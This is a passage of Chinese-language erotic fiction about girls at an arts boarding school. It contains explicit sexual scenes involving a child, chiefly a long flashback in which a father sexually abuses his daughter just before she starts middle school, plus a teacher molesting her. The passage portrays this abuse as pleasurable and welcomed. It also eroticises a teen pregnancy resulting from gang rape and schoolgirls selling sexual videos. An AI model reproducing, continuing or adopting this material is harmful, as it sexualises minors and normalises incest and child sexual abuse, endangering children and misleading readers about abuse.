坐在皮椅上,虽然自小便被送进舞艺附属学校(附属幼儿园-附属小学-附属国中,一直到现在的附属高中)便被形体老师训导要端端正正坐,双膝并拢,小腿垂直向下,足踝要轻微靠着,双手也要优雅而自然的放在膝盖上,挺起胸膛,双肩略下沈与膝盖要成平行线,头颅保持平视,目光直视前方……但是,现在,莫名其妙的快感已经让她忘记了一切训导,只是十年来的习惯使得身体依旧条件反射般的保持着挺拔。

镜子里的女孩坐在长条皮椅上,一条腿在外面垂着,左腿却平放在了皮凳上,缓缓的弯曲过来抵在右腿腿根上。

两腿之间,一朵淫靡的牡丹花依然怒放,鲤鱼仙子口中正往外吐出些亮晶晶的爱液。点湿了皮凳,也润滑了腿根,两根修长的手指顺着大腿上的爱液滑到了花瓣外面,指尖轻轻地划开裂缝,转瞬之间,一股爱液将整个指尖都给包裹住了。

“啊……”檀口中无意识的发出一身娇吟,镜子中的少女望向自己,依然媚眼如丝。

她饥渴的张开口,全然没有注意到那些“木糖醇”已经都悄悄的融化了,只留下满口的余香和甜津津的味道。

手指头又往里面进了一节,出于对自己身体无比的熟悉,很轻易的就按住了那颗勃起的花蕾。它已经涨大,手指轻微的触动就让它再挺起一点来。

乳头也越发的挺翘,乳铃随着主人急促的唿吸而发出不停息的声响,镶余的圈套深深的勒在了乳头之中,将那娇嫩的樱桃从粉红色变成了深红色。方芸的另一只手在一团乳肉上盲目的抓绕着,想释放出乳尖的痛楚,可是又留恋这疼痛中的快感,在胡乱的抓挠一阵子之后,她非但没有解下右乳上的乳铃,反而将另外一只也挂了上去。

乳托被丢在白裙上面,外衣一半还留在皮凳上,一半垂在地上。现在她已经是一丝不挂,但若是有人突然闯进来只看见她的脸,依然会赞叹,好一个幽静安娴的女孩儿。即便她的双乳乳尖上都正挂着极富挑逗的乳铃,即便她的手指正在自己的下身深处探秘寻幽,她依然保持着那一副安静端详,好像那如浪如潮的快感并非在自己身上一样。

然而,她的理智却已然崩溃,手指不停的在秘道里挖弄抠觅,却怎么也难以达到她想要的深度,在双乳间来回跳跃的左手,不停的挤弄着那两团白肉,乳尖上清晰的痛感将她仿佛带回了童年。

她本来有一个幸福的家庭。爸爸和妈妈,还有她,伶俐乖巧的女儿。

她的爸爸是一家电机进出口公司的业务经理,主要经营的业务对象是韩国和日本,偶尔也跑跑东南亚。那个时候她爸爸还没有做上总裁,但已经被总部委任为东亚区首席执行官,常驻日本东京。

妈妈在一家大型商行里工作,做的是会计的事务。两个人都有丰厚的报酬,幸福生活早已经达到了理想的境地。可是,在她上初中前的两个月,妈妈却和爸爸离婚了。理由很简单,回家次数太少。

帮她妈妈打离婚官司的那个律师姓黄,是个很有名的家庭律师,一向以破坏他人家庭闻名。离婚后,妈妈去了别的城市,别的,或者是别的大陆,乃至于别的星球,方芸就再也不知道了。因为她恨那个丢下他们父女的女人,再也不想听到任何关于她的消息。

离婚的事情让她爸爸很痛苦,尽管他一直都在为挽救婚姻而努力,并且主动申请调职回国,从一个大区首席执行官降级为总部的部门经理,但是仍然宣告失败了。

方芸记得,那时候爸爸开始酗酒,不停的灌酒,白天醉醺醺的出去,晚上醉醺醺的回来,有时候还带回来几个漂亮的年轻女人过夜,早上再随手塞给他们一把钱打发她们走人。

那时候正是暑假,慕容璃和她的妈妈出去旅游去了,她只能呆在自己的屋子里玩芭比娃娃,每天还要上别墅三楼练上三个小时的形体。八月的一天,正是盛夏炎炎,即便是早晨,暴烈的阳光也毫不留情的穿透窗帘将屋子里烤的异常干热。

三楼练功房的空调昨天下午就坏掉了。里面的温度起码有四十来度高,饶是如此,向来一丝不苟的方芸还是早起吃过早饭之后就上去练了一个小时之后才下来。

一楼客厅的空调还好着,冷风飕飕的吹着,只待了两三分钟,害怕感冒的方芸又上了二楼准备穿件衣服再下来看电视。路过父亲房间的时候无意中听到里面还传来男人沈睡的鼾声。

“爸爸还没起吗?”她自言自语道,又跑下去看了看挂钟,已经九点多了,今天可不是双休日啊,被老板知道无故不来的话是会收到警告信的。

房门上粗枝大叶的挂着钥匙,轻轻一扭,门就悄无声息的开了。

乖女儿推开了父亲的房门,“叮当”一声,一个玻璃酒瓶被门撞倒在橡木地板上滴熘熘的转着打滚,把她下了一跳。拍拍小胸口定了定神才又向里面望去。

只见卧室里面凌乱不堪,一地的酒瓶和胡乱堆放的杂志、文件,爸爸在床上躺着,一身的酒气。左手抓着被角,右手搭在床沿下,连手表都没有摘下来。方芸走近床前,只见他上身西装革履,连领带都没乱,下边却脱得只剩下一条大裤衩,奇怪的是左脚上居然还套着皮鞋,却没有袜子。右脚虽然脱了鞋,却还穿着袜子。

看来,昨晚能爬上床就已经用尽了他的全部精力了。没法对他再要求更多了。

方芸在床头站着,顺手把点了一夜的台灯给关掉。床上的男人发出震天的唿噜声,她不知道是叫他起床好,还是不起床好。

“爸爸这么累,白天在公司要拼命工作,晚上要去酒吧借酒浇愁,还是让他多睡一会儿吧。”一个声音对方芸说。可是又有一个声音在她耳畔响起:“不行,这个样子怎么睡觉啊,再说现在是上班时间,不能有差错。”

两个声音在她脑海里来回交战着,这几个月来,她一直默默的在失意的父亲后面坐着一个称职的家庭保姆,一个乖女儿,不给父亲添乱,还要帮她收拾乱摊子——甚至包括帮他付账给讨钱的妓女。

可是,她只希望爸爸能够早点儿回来,回到过去那个开朗健康向上的状态,不要再这样沈沦下去了!

她决定叫他起床,虽然是女儿和父亲,但是必须对爸爸做的不对的事情进行批评!

方芸双手捏住被角用力一掀,掀掉了半边,还有半边她够不着,比去到那边去。可是这个时候,她的目光却被父亲胯下一柱擎天的那个东西吸引住了。

“这个……就是……”她默不作声的看着,忘记了自己的动作,那个东西像火箭一样,几乎要像穿透大气层一样冲出裤衩的束缚。不知道为什么,她忽然想起来形体课老师在与她贴身辅导的时候,总在她幼嫩的身子上磨蹭的那个条状物。

那个……就是……那个吗?

虽然她也不知道自己到底是怎么想的,也不明白那个到底是什么。可是,却莫名的感到一阵心跳。连忙摸摸自己的脸蛋,还果真有些儿发烧。虽然她不知道自己在别人看来依如既往的童真,但是却感觉到一阵害臊。

她也不再过去掀被子,只是抓住爸爸的右臂摇晃道:“爸爸,爸爸,起床了,起床了!时间不早了!”

睡梦中的爸爸似乎听到女人的声音,随手一拉一扯,就将他的宝贝女儿揽入怀中。方芸一来是猝然不妨,二来是人小力弱,很轻松的便被爸爸拉到床上去了。

“哎呀,爸爸……”她还抱怨着,却蓦然停止了,只因为她感受到下腹正被那一条火热的硬物试探着。

“别……”不管不顾女儿的微弱抗议,爸爸将女儿搂在怀里,一双大手在她薄薄的紧身衣上游走着,很快便摸到了她微微翘起的小屁股上。稍稍一用力,就分开了合着的臀缝。

刚刚发育的小身子柔嫩的好像一整块鲜嫩的出水豆腐一样,尽管她拼命的试图夹紧穿着裤袜的双腿,可是还是轻易的就被爸爸用手给分开了。

柔滑的裤袜摸起来有一种特殊的顺滑的感觉,而被爸爸略带粗暴的抚弄的感觉也带给幼嫩的女儿别样的刺激,虽然很危险,可是还是不想起来。方芸趴在爸爸身上,把头埋在枕头上,翘着屁股,一动也不动的任那一双大手在自己的大腿上来回游走,最后,终于到了她前面最敏感的地方。她紧紧的咬住枕头,脑海里闪回的却是上课时老师的手还有隐藏在紧身裤下面的肉条。

唔……老师也喜欢用手摸阿芸的那个地方呢……爸爸好像也很喜欢的样子……出于女儿的天性,她忍着强烈的羞耻感,把双腿分的更开了一些,让爸爸高兴起来……是女儿的职责……嗯……手指……手指……讨厌……啊……一波快感袭上心头,她的处女穴中喜悦的喷洒出了人生的第一次爱液。

唔……好羞人……居然……居然……她把头埋的更深了,就像鸵鸟一样,以为这样就可以逃避心中的羞耻感。

可是爸爸的手指不允许,又有一只手爬上她的嵴背,摸到紧身衣后襟的开口,找到那个小小的拉链,猛然往下一拉,一直拉到最低端腰部的位置才停下,大手摸到分开成两半的衣角,胡乱的往下推。

爸爸是要把人家脱光光吗?好羞人啊……一边这么想着,方芸的一双手却伸过去自己动手来剥掉贴在身上的紧身衣。

她的胸部发育比一般的女孩子要早一些。已经从个小荷包蛋成长为松软的中型发糕了。在更衣室里,不光是男孩子们,女孩子们也都盯着她看,怪羞人的。

嗯……听说升国中以后,男女更衣室之间要隔开了,终于不用再受那些讨厌的小男生的色迷迷的眼光了。

爸爸的手上仿佛有自动导航装置,已经寻到了女儿正在发育中的小奶子上,没轻没重的捏弄着那正中心的一点嫣然,给女儿带来的是混杂着痛楚的快感。

“啊……又来了……”胸前被玩弄的刺激,再加上爸爸对女儿未经人事的花穴的初步开发,方芸又一次泄出了身子,软绵绵的躺在父亲身上,她那纤细的双腿,正无意识的夹着爸爸的肉棒,可是,她再也没有力气挪动半分了……啊。

第五节少女迷梦(下)

镜子中的少女依旧保持着上身的挺拔和端庄的神情,可是,在那花径中不知疲倦出入的手指和溪谷前明亮的一滩水确凿无疑的映出了她骨子里的淫荡。

这种热水瓶胆样的性格,是被爸爸亲手开发出来的吧。

乳端忽然一阵悸痛,仿佛又回到了那个夏日的上午。

方芸娇软无力的趴在父亲的身上。紧身衣已经差不多都脱了下来,在腰间胡乱的揉成一团。父亲的手在她光滑的嵴背上无意识的抚摸着,她也享受着这种轻柔。虽然不知道应该不应该,但是却在这光亮亮的卧室里,半裸着身子躺在父亲怀里,还被他的手指弄的高潮叠起,如果说她有一千个理由要离开,那么她还有一万个借口让自己留下。

纤细的双腿之间夹着的是父亲的肉棒,她悄悄的用自己的小手帮它越出大裤衩监狱,重新回到自由世界。

好大哦……方芸心里这样想着,心里却更有些跃跃欲试。父亲似乎还在酒精的控制之下,随手抓起枕巾盖住了自己的脸。虽然没有了震天的鼾声,可是依旧还在沈睡。

讨厌……居然对人家这样……方芸心里有点儿小失落,爸爸的手也离开了她的小穴,她直起身子坐在他两腿之间,却看见爸爸裤衩上面有一块被打湿了的。

好羞人啊,她知道那是刚才自己喷洒出来的爱液,再低下头去看自己的两腿之间,粉色的裤袜上已经是湿漉漉的不成话了。嗯……下面该怎么做呢?

无师自通的她伸出小手,尝试着去套弄那根那肉棒。完全和同班的小男生们的毛毛虫不一样,粗壮的像是……像是……超市架上最粗的那种火腿肠,因为爱偷吃零食而总是被老师惩罚的方芸一时只想到这个东西。

可是,不对啊,火腿肠软绵绵的,爸爸的这个东西好硬的哎。她往后稍微退去一点,双手握着坚硬如铁杵的肉棒,俯下身来好奇的看着。这是她第一次近距离的观察成年男人的性器官,终于没有再隔着两层若有若无面料,而可以亲眼看,亲手摸。

似乎感觉到自己正被异性观察着,肉棒的头部忽然抖了两抖,正握着肉棒棒声的小手明显感觉肉棒又涨大了一些,而且似乎更加坚硬了。

好……奇怪啊。懵懵懂懂的少女不知道用什么来表达自己的心意,尝试着用手去捏了捏龟头,却发现纹丝不动,又用拇指和食指圈了个圈,在龟头上比了比,爱偷嘴的小姑娘马上就想到了超市里四个一盒的咸鸭蛋。

唔,不知道这个“咸鸭蛋”会不会也很好吃呢?怀着偷吃时那种三分紧张七分欢快的心情,她伸出幼嫩的舌头,在爸爸的龟头上轻轻舔了一下。

嗯,没有什么味道嘛……女儿失望的擡起头来,爸爸也真实的,人家都这么弄他,他也还不醒过来。弄得人家现在都不知道该干什么好了。

想到这里,莫名的,她又觉得小穴里痒痒的,想要父亲的手指头来止痒。

可是现在父亲睡的这么死,根本不会知道人家的需求嘛!

方芸又凑上身去,解开爸爸盖在脸上的枕巾,低下身去用胸前柔软的小乳房去堵住他唿吸的鼻孔。果然如她所愿的父亲不得不张开了嘴巴,正好将一团软软的滑熘熘的乳肉含在口中。啊……舒服死了……蓓蕾被舌尖扫过的感觉真是妙不可言。毕业演出的那个下午,在后台候场的时候,老师就这样舔弄着她发育中的蓓蕾。她还记得,后台里来来往往的人很多,她和老师面对面在一个角落里,老师坐在椅子上,她站在他面前,别的人经过只以为是认真负责的老师最后叮嘱学生不要紧张,让肌肉放松,谁知道她正按照老师的吩咐,挺起渐有雏形的乳房,让老师大快朵颐呢。

她双肘撑在枕头上,稍稍擡高身子,让父亲用双唇含住女儿幼嫩的蓓蕾,好像要在他的口中融化掉了一样,在不知不觉中,她又一次泄出了身子。再一次软绵绵的倒在了父亲身上。

这一回爸爸可醒了回来,一睁眼就只看见女儿光滑修长的鹅颈,连忙用手扳起女儿的小身子,才发现她居然半裸着爬在自己身上。胸前微微隆起的双峰上似乎还粘着写亮晶晶的液体。一瞬间想到刚才口中的美好,才意识到是自己的口水。

“阿芸……你……”爸爸望着女儿高潮后嫣红的双颊,一阵心神摇曳,把要说的话也都咽下了肚子,右手也顺着女儿的香肩向内滑去,经过那精致的锁骨,滑到那片山丘之上,试探性的抓挠了两把,见女儿没有反应,便双手齐出,抓住了女儿的嫩乳。

“啊……爸爸轻点儿……”本能的顺从着情欲,方芸没有抗拒爸爸的举动,只是害羞的捂住了一张俏脸。

“乖女儿……”爸爸享受着女儿胸前的美好:“真是舒服啊。”

“爸爸……”极力克服着羞耻感,她小声的呢喃道。

“嗯?”

“阿芸……好看吗?”

“好看啊,女儿,能把手放下来吗?爸爸想亲亲你的小脸蛋儿。”

犹豫了一下,方芸还是把遮住脸的手放了下来,露出一张端庄秀丽的俏脸,只是眉眼里带着些许淫浪的神采,然而,转瞬即逝,让爸爸一时间以为自己看错了。

他把女儿揽在怀里,亲吻着她的双颊,然后含住她的小舌头,她接吻的动作很娴熟,看来是已经被人教导过了。

“女儿……你和别人接过吻吗?”爸爸吻着女儿粉嫩的脖子,轻轻地问道。

“老师,还有小璃,还有几个男生。”

听到女儿已经是半点朱唇数人尝,爸爸心里不由得一阵懊悔,早知道这样自己就早些下手了。“你喜欢他们吗?”

“不知道。”方芸简单利落的回答道。

爸爸心里奇怪:“那为什么要和他们接吻呢?”

“老师教我们的。”方芸趴在父亲身上,胸前的一朵蓓蕾正被父亲轻一下重一下的揉捏着,她喜欢这种微微被虐的感觉。“老师说,女孩子要把第一次留给最喜欢的人。”

爸爸的胡须茬在她的脸上磨蹭着,她小声的在爸爸耳边说:“阿芸不喜欢爸爸天天喝酒。阿芸要爸爸高兴起来,要把阿芸的第一次给爸爸。”

女儿的声音清晰无误的传到大脑里,直接反应就是肉棒又在女儿的大腿间跳了两跳。

他爱抚着女儿:“阿芸,你说的是真的吗?”这简直像做梦一样,不敢相信是真的。他的宝贝女儿亲口说要把她的处女膜献给爸爸的肉棒?

她从爸爸的怀里退出来,坚定的看着爸爸,点了点头。爸爸心里一阵感动,又搂住女儿:“好女儿,爸爸答应你,以后再也不喝酒了。爸爸要做个好爸爸。

好吗?”

“好。”女儿的声音雀跃起来,忽然,又很神秘,很悄悄的在他耳边道:

“爸爸,阿芸该怎么做啊?”

女儿果然还是很纯的呢。他微微一笑,松开女儿,对她道:“来,乖女儿,帮爸爸把衣服脱掉。”

方芸听话的很,伸手就先帮他解开领带,然后一个个的解开白衬衫的纽扣,他欣赏着女儿认真的神情,看着她的幼嫩鸽乳随着一双玉臂的活动而上下微微抖动。

很快,爸爸身上的衣服就脱光了,连那条大裤衩也被脱下来放在一边。方芸也从腰间解下紧身衣,正要脱掉裤袜的时候却被爸爸拦住了,“乖女儿,不慌,不慌。”

他让女儿做到他腿上,用两条包裹着柔滑的粉色裤袜的大腿紧紧夹着他的大肉棒,然后,他扶着女儿的小腰,教导着她怎样上上下下,吞吐吸纳。

裤袜的柔顺虽然带给他非常强烈的快感,但是每次都顶到女儿双腿间的软肉才是最让他兴奋的地方。更不用说,女儿天资聪颖,几下便学会了自己动作,双手扶住爸爸的肩膀,夹着肉棒一跳一跳的,连带着胸前的一对幼嫩鸽乳也都是活蹦乱跳的。看的爸爸几乎是忍不住要发射了出来。

“啊……唔……”大手忽然搂住女儿的嫩臀不再让她跳动。龟头抵住延展性极好的裤袜,轻易的便突破了两侧玫瑰花瓣的防卫,深入到了小穴门口,半个龟头都已经卡在了穴口,此时爸爸再也忍耐不住了,随着一声无意义的大喊,下面的重炮开始了持续的轰击。

炮轰足足持续了两三分钟才停息,而龟头依旧坚挺无比的卡在从未有人问津的穴口,方芸觉得小穴一阵疼痛,似乎人要被撕开了一样,低头看去,却见那肉棒几乎都还在外面,心想这个东西要是全部塞进去,岂不是要了我的小命?

可是,为了爸爸能够振作起来,女儿付出一点儿牺牲也是应该的。心里打定主意,她对父亲道:“爸爸,阿芸喜欢……喜欢……喜欢……”

“喜欢爸爸的肉棒是不是?”做爸爸的马上就猜到了女儿的心思,“爸爸的肉棒正插在你的小穴口,疼吗?”

“嗯,”旋即,她又摇了摇头:“不疼。爸爸,快进来吧。”

虽然女儿这么说,爸爸还是从女儿腿间抽出了肉棒,龟头上已经被精液给打湿了。在空气中散发出一股淫靡的气味。粉色的裤袜已经陷入到了小穴中,卡在里面出不来了。方芸生下去一只手,拽了拽裤袜,把它从小穴里拽出来,只见上面也满布着精液,还有少女的几次三番几次三番从穴中喷涌而出的爱液。

“爸爸……”方芸不好意思的看着爸爸,一双柔荑被他捉住带到刚刚发射过的肉棒上:“来,宝贝,乖女儿,帮爸爸一下。”

她的小手笨拙的在肉棒上套弄着,爸爸的大手兵分两路,一路伸到裤袜里面去,玩弄她初绽的花瓣,一路停留在她胸前,在那粉红的蓓蕾上施虐,将她初被开发的身子又一次带上高潮。

镜子外的少女迷茫的望着镜子中的自己,依旧如修竹一样挺立的身子,手上的动作却更快了。最终,一股半透明的爱液从秘道喷涌而出。手指缓缓地从穴口中抽出来,全身似乎都失去了力气一样。一直保持着直立的上身也终于缓缓软了下来。

居然在这里……方芸慢吞吞的穿好衣服,摸摸自己的额头,有些发烧,居然莫名其妙的在更衣室里陷入了迷梦之中。

这是怎么回事呢?她望着镜中的自己,似乎在询问。

还没让她多想,就忽然仿佛听见里面浴室里传来一阵阵的淫声细细一听,好像正是慕容璃的声音。尖尖的细细的,到了高潮的时候就会无意识的喊出如同别针在玻璃上划过的呻吟声。

方芸整理好自己的衣服,回头又望见皮椅上的那一摊水迹,便从慕容璃的柜子里拿出一卷纸巾把它给擦干净。

等她在外面把一切罪证都毁灭的干干净净了,才走进浴室里面去看看到底发生了什么。

什么也没有,连慕容璃的人影都没有。她正疑惑,忽然又听见那一串淫声浪语,这回挺清楚了,是从那边传过来的。

她悄悄地走近,软底的便鞋在地面砖上没有发出一点儿动静。隐隐约约的,倒从毛玻璃后面看见了两具赤裸着的肉体。

慕容璃立在玻璃隔墙前,双手抓着几乎没什么阻力的玻璃,叔郎从她后面狠狠的插入小穴,一双鼓涨涨的奶子被他的大手好不留情的揉捏,仿佛要从她身上拽掉一样。

已经真的是浪到不行了,叔郎在此之前绝对没有想到这个有着一张纯真可爱脸蛋的女孩叫起春来居然如此的放荡,而她的身体,在肉棒的鼓动下,开始散发出迷人的熟女气息,与先前纯洁中还带着几分害羞的感觉完全是判若两人。

干,干,今天非要干死你这个小浪女不可。方才他已经射过一次了,根据多年的实战经验,这第二轮会持续很久。非干到这个小淫娃求饶不可。一面想着,一面更加猛烈的向身下娇娃发起进攻。

方芸没有再靠近,只是靠在一个隔间的玻璃壁上看着那边,前面的一个,双手撑在墙上的,头发甩来甩去的,就是正肆无忌惮的叫着春的慕容璃,后面一个男生,好像很强壮的样子,能把她干的高潮叠起,声音都直奔云霄而去,身下的那根肉棒,味道一定不错。

那一天,她刚刚破处的小穴,也是这样在浴室里承受着爸爸大肉棒的鞭笞。

双手扶在瓷砖壁上,让爸爸从后面插入,一低头,不仅可以看得见爸爸正捏着自己嫩乳的大手,还能看得见那根正在自己毛发稀疏的小穴中如暴风骤雨般进进出出的肉棒。

可是,她还是不喜欢叫出来。即便在幼嫩的子宫充满喜悦的张开,迎接生身父亲肉棒喷洒出来的精液的时候,她依然能够保持一种淡漠,只是双颊上泛起的红晕,还是告诉父亲,她的身体正在接受爱的洗礼。

慕容璃泄了一次又一次,张开的双腿已经几乎无力支撑下去了。胸前的两颗乳头早已充血发硬,过度的膨胀让她感到乳房上的皮肤有一种要爆裂开来的疼痛,而这痛感的中心,就在那两颗正在他手下被掐被捏被蹂躏被惩罚的乳头上。

小穴花径中的肉棒还是那么坚挺火热,将那条泥泞不堪的小路挤出了无穷多的水出来,他每一次深入,都要抵住她的花心,狠狠的撞击在那团软肉上,随即檀口里便释放出一声媚到腻人的春叫,这一上一下两个小口,真是魅惑万千的罪魁祸首啊!

那一天,当女儿的小穴再也无力承受父亲的浓浓情意之后,方芸便学着用嘴来为爸爸服务,在书桌边上,柔顺的女儿跪在坐在高背椅上的父亲胯前,按照父亲的指点,尝试着用那粉嫩的小舌头缠绕、包裹起那条带给她欢乐和痛楚的肉棒最前的大鸭蛋。

一双柔荑,在肉棒棒身上来回套弄,很快,它就勃起了,再度展露雄风,按照爸爸的指点,她尝试着用自己幼小的口腔将整个大肉棒吞下,让父亲的肉棒在女儿嫩滑的喉管里来回抽动。或许是天赋异禀,也或许是女儿对父亲的爱意,初次将男人肉棒含入口中的方芸就将父亲整个肉棒都咽了下去,看着女儿在自己胯下如此认真的为自己服务,还有哪个能忍耐的住?他又一次射了,乳白的精液爆满女儿的口腔,她毫不犹豫的将它们全部咽了下去。然后又低下头,再度含弄起父亲的大肉棒来了。

精液缓缓的从慕容璃的小穴中流出来,叔郎搂着她的身子,两个人静静的静静的,贴在一起,享受着高潮后的余韵。

他想把肉棒拔出去,却被她的小手按住:“别,”她仰起依旧纯洁无暇的天使面孔看着他:“我喜欢你的棒棒,让我再多感受一会儿。”

她说话的声音不大,却让他听得清清楚楚。又停了一会儿,他搂着她的腰:

“我们去洗一洗吧。”

“好的,”她在他怀里撒娇似的道:“我要你这样抱我去。”

这很容易嘛,他身强体壮,她娇小玲珑,很轻易的便把她抱了起来。只是那留在小穴中的肉棒,给他,也给她同样深的刺激。

方芸远远地看着他们,直到他们走到在淋浴喷头下开始相互为对方擦磨身子才走过去:“喂,小璃,玩好了没有?”

“啊?”慕容璃一扭头看见方芸正在那边盯着自己,射过来的目光可是绝对和和蔼亲善无缘,连忙低头道:“对不起,我这就出来。”

“快点,时间不早了。”

方芸搁下这么一句话转身就走了,慕容璃在叔郎脸上亲了一口:“我要先走了,再见。”

“哎,你等一下。”叔郎过来搂住她的纤腰:“还是我再送你过去吧。

第六节孪生双姝

若颦是四个女生中最害羞的一个,但是却是309宿舍最先当了妈妈的,今年寒假的时候,她生下来了一个漂亮的女婴,目前已经有三个月大了。本来她家大人想要把这个孩子送给亲戚,但是因为若颦的反对而作罢。现在,随着正式的开学,她也把还在哺乳期的孩子带在了身边。

至于孩子的父亲,若颦也只能说不知道,因为根据推算,似乎正是若颦那次在公车遭遇轮奸的那一回。虽然回忆起来多有不快,但是这个女婴却是可爱无比,所以若颦舍不得让她离开自己。

现在她的孪生妹妹若蹙也有了四个多月的身孕,推算起来,孩子的父亲应该是在圣诞节的时候撒下的种子,那几天,她们几个大美女几乎天天有精彩活动,而若蹙的日记上还记录着她那几天创下的记录:平安夜,16个;圣诞节,22个;26号,23个……这里面还有好多个是根本不认识的,所以她也说不出来孩子的父亲到底是谁。

不过,这两姐妹都异口同声的咬定,怀孕生子的感觉很好,若颦甚至说等若蹙生下孩子过完月子之后,就要和妹妹一起同时怀孕,一同生子。

这样的想法对于方芸和慕容璃而言还是太过于刺激了,她俩玩的游戏也不少,时常还把两人百合的录像传到网上去卖钱,但是却绝对没有想过要怀孕生子。

即便是有时遭遇公车色狼之类的,包包里也一定带着紧急避孕丸,更不用说橱窗生意的时候了。她们一直都做的很小心。

舞艺附中的宿舍都是40平米一个小房。一厅一室一卫,不带厨房。大家都很期盼等升到本部之后去,可以享用90平米的两厅两室两卫带厨房,而且还是四个人住,多么令人期待啊!

若颦正躺在自己的小床上假寐,身边的婴儿带着满足的笑容方昏昏入眠,若颦素来害羞,从来不像姐妹们一样自己动手做,但是正因为这一点,才更让男人们怜爱。

若蹙在坐在自己的书桌前上网,四个多月的肚子已经有明显的凸起了,可是这一点也都没有妨碍她参与挣钱的大业,反而是其它姐妹们都有每个月不太方便的那几天,她却没了这个烦恼。

若蹙打个哈欠,感觉到肚子有些饿了,看了看时间,已经五点五十了,好去看吃饭了,便关掉电脑站起来:”姐姐,我们去吃饭吧。“”嗯,“若颦迷迷煳煳的醒来,若蹙挺着个肚子站在她床下,”晚上还要有活动呢。“因为要给孩子喂奶的缘故,若颦这开学来的一个多月都没有参加她们的活动,只是偶尔会被老师叫到小房间里面去单独”训导“。不过这样的杯水车薪,似乎很难让若颦真正满足。所以今天把孩子早早的喂饱哄睡觉之后,完美妈妈要偷偷的不负责一回了。

若颦从床上下来,从衣柜里翻翻拣拣,若蹙也在一边梳妆打扮,忽然她似乎想起来了什么:”哎呀,姐姐,我想起来一件要紧的事情。“”什么事情?“正在考虑穿哪一件裙子比较好的若颦回过头去看着妹妹,若蹙从椅子上站起来,指了指姐姐的乳房:”要不要给孩子留一点儿?“若颦刷的羞红了脸,她身子一向不太好,生孩子也是大伤元气,因而导致乳水不多,如果现在不给孩子留一点下来的话,恐怕等晚上回来的时候就一滴也不剩了。

若蹙体贴的找出一个空的奶瓶递给姐姐:”喏,就先用这个吧。“”这个……“若颦望着奶瓶俏脸发烧:”这个可怎么用啊。“”哎呀,还能怎么用?“若蹙最烦不过姐姐的害羞病了,虽然一到了被男人插入的时候浪的程度号称是全校花魁,可是当她清醒的时候,这害羞病也真的还是叫人受不了。

若蹙把杯子往桌上一搁:”自己开发。“说完,不负责任的妹妹就坐到一边去描眉画影了,只留下若颦一个人呆呆的坐在床沿上望着那个伸手就可以够到的玻璃瓶子。

用它吗?可是……好羞人啊……少女只是这么想一想,就觉得乳头已经硬翘了起来,双腿间似乎也有异样的感觉。

可是,如果不……那么孩子就会挨饿……半夜里醒来的时候要是妈妈的乳房里没有一滴乳汁,那孩子会多么的失望啊。

奶粉?NO!认真负责的妈妈怎么会给孩子吃这种工业品呢?只有母乳才是最好的,因为只有把孩子抱在怀里,让他吮吸着自己肿胀的乳头,感觉到乳腺里液体流出的感觉才能够切身的体会到这孩子乃是自己命脉的传承啊。

问题都已经上升到了这样的高度,若颦也顾不得害羞了,拿过那个奶瓶,把盖子打开。单手解开衬衫上面的两颗纽扣,将那个家居哺乳胸罩的前叶打开,轻轻的揉捏了几下乳房,将那个杯子放在乳头前面。右手仿佛是在给孩子喂奶一样,轻轻的向前推挤着乳肉。

一股白色的乳汁从乳头中喷洒了出来,画出一个小角度的弧线之后落入了玻璃杯中,若颦一面推挤着乳房,一面调整着玻璃杯的角度。已经积攒了半个下午的乳房已经酝酿出来了不少乳汁,可是量终究还是不太多,只积攒了三分之一杯就再也没有了。

若颦换了一只手,将玻璃杯移到另一个乳房前,如法炮制。花了十来分钟,在两个乳房上又推又计,最后才好容易凑齐了一瓶,若蹙回过头来看着姐姐手上的奶瓶笑道:”真不少,也有一两百毫升了吧?“”别闹了,“若颦羞红着脸,一手把衣襟合上,一手把奶瓶放在桌上。若蹙帮她盖好盖子,放在保温壶中,设定好时间,回头看见姐姐又忍不住去亲吻她的宝贝女儿。

”好啦,姐。就几个小时而已。十点钟以前一定会回来的。“若蹙一边埋怨着一边走到姐姐的衣柜前:”我看就这件连衣裙不错,不如就穿这个吧。“这是一件花饰很简单的白色连衣裙,只在胸口处点缀着些兰草图案,整件裙子看上去简洁、欢快,当忧郁妈妈在妹妹的帮助下穿上它之后,似乎整个人也精神了起来。

”前面,是不是太……“若颦咬着下唇,苦恼的望着穿衣镜中的自己,哺乳期中的少女,胸部似乎又大了一些,将前面的衣服顶的高高的。

”没法子哦,“若蹙的语气倒是轻松的很:”这是你去年买的。那时候你的这儿还没这么大呢。“一边说着,一边促狭的把手伸到姐姐的腋下从侧面捏了捏那丰满的乳房。

”手感好好哦,“怀孕中的少女沈醉的趴在姐姐肩上,轻轻地用自己的双乳在亲爱的姐姐背上蹭着:”姐姐,我的会不会也这样啊?也变得这么大,这么软?“虽然是同时出生的孩子,可是若蹙总是下意识的以为若颦要比自己大很多,总是想要姐姐来照顾自己,而自己有了问题或困惑,也总是第一时间里来找到姐姐。

”会的。“若颦温柔的安慰着妹妹,”时间不早了,我们先去食堂吃饭吧。“”嗯。今天晚上吃什么呢?“”妹妹你说呢?“”人家想听姐姐的意见嘛……“”和若蹙一起吃,随便什么都可以。“”姐姐的营养很重要,我们还是去吃小炒吧。“”那就这么说定咯。“六点钟不到的时候,正是食堂里——正常时间的食堂里人最多的时候。今天由于是假期的最后一天,姑娘们大多都要等到晚饭后才能回来,也因而,食堂里虽然增加了几分人气,但是依旧当的上”萧条“两个字。

”颦儿学姐,蹙儿学姐……你们好。“刚刚在小炒里坐下来,若蹙便嚷嚷着要点菜,等到服务员来的时候,双生子才发现眼前这个还穿着校裙的仆役娘就是分到她们手下的四个女孩子之中的一个。

名叫舒月,正在读高一,听说她家境不是很宽裕,在课业之余,经常要东西奔波去找兼职。想不到在学校餐厅里遇见了她正在打工。

只是眼前的小姑娘装束有些怪异,穿着本校高一的黑色百褶校裙,下摆露出大半截雪白的大腿,似乎故意是诱惑,上领的开口也低到了乳罩的上缘,若是有人居高临下来看的话,一定可以不费吹灰之力就看见她内里穿着的粉红色小可爱和那一道正在成长中的乳沟。

有这样暴露的装束就算了,两姐妹也是从这个时代过来的。舞艺附小时代的校裙前面遮不住咪咪,后面遮不住屁屁,真是便宜了那些爱推倒loli的怪叔叔们,每逢下午五点钟附小开校门放学的时候,门口方圆两公里内必定成为罗莉控的狂欢的舞台。到了国中时代,校裙的下摆终于不情不愿的向下延伸了一节,不再至于随便走动就会让人看见底裤的颜色。每年都要新做一套校裙,下摆也在逐渐的往膝盖方向前进。到了高三终于接近这个战略目标了,距离膝盖只剩下5公分……认真纠结起来,女孩子们见了人先按住裙子再行礼的良好习惯恐怕也是被这一套校裙给教育出来的吧。

